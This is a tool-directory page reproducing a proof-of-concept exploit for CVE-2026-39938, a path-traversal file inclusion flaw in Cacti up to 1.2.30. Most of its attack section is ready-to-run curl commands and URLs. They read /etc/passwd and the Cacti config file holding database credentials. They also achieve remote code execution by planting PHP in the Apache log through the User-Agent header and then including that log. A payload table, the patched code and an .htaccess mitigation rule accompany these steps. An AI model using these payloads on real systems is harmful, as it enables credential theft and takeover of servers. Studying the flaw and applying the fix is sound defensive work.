Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-39938 — Proof-of-concept exploit for CVE-2026-39938: unauthenticated local file inclusion in Cacti <= 1.2.30, enabling arbitrary file read and remote code execution via log poisoning. | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-39938
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-39938

By-Poloss..-..CVE-2026-39938

Proof-of-concept exploit for CVE-2026-39938: unauthenticated local file inclusion in Cacti <= 1.2.30, enabling arbitrary file read and remote code execution via log poisoning.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
1 month agoNot yet reviewed

CVE-2026-39938: Cacti <= 1.2.30 - Unauthenticated LFI

Executive Summary

FieldValue
CVE IDCVE-2026-39938
CVSS Score9.8 (Critical)
Affected ProductCacti
Affected Versions<= 1.2.30
Patched Version1.2.31
Fix Commit9871f0c

Vulnerability Details

Root Cause

The vulnerability exists in lib/rrd.php where the graph_theme parameter is used directly without sanitization:

VULNERABLE CODE:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

PATCHED CODE:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

The issue: No validation against ../ path traversal sequences, allowing attackers to read arbitrary files without authentication.


Proof of Concept (PoC) - Simple Steps

Step 1: Verify Vulnerability - Read /etc/passwd

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Result: Contents of /etc/passwd will be displayed in the response.

Step 2: Read Database Configuration

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Result: Database credentials (username, password) will be exposed.

Step 3: Remote Code Execution via Log Poisoning

3.1 Inject PHP Code into Apache Log

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Execute the Code by Including Log File

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Result: Command output (e.g., uid=33(www-data)) will be displayed.


Common Endpoints Tested


PoC URL Examples

Basic LFI Test

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Read Application Config

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Log Poisoning (Injection)

root@kitploit:~
http://target-cacti/graph_image.php?local_graph_id=1

With Header: User-Agent: <?php system('id'); ?>

Log Poisoning (Execution)

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Remediation

Update to Patched Version

root@kitploit:~
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verify Patch Applied

root@kitploit:~
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Temporary Mitigation (.htaccess)

root@kitploit:~
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

References

  • GitHub Security Advisory
  • Patch Commit 9871f0c
  • NVD CVE-2026-39938

W.P.E.F

  • W.P.E.F Telegram chanel #1
  • W.P.E.F Telegram chanel #2

Report generated for security research purposes Date: June 27, 2026

Download Tool
EndpointParameterPayload Example
/graph_image.phpgraph_theme../../../../../../../etc/passwd
/graph_image.phpgraph_theme../../../../include/config.php
/graph_image.phpgraph_theme../../../../../../../var/log/apache2/access.log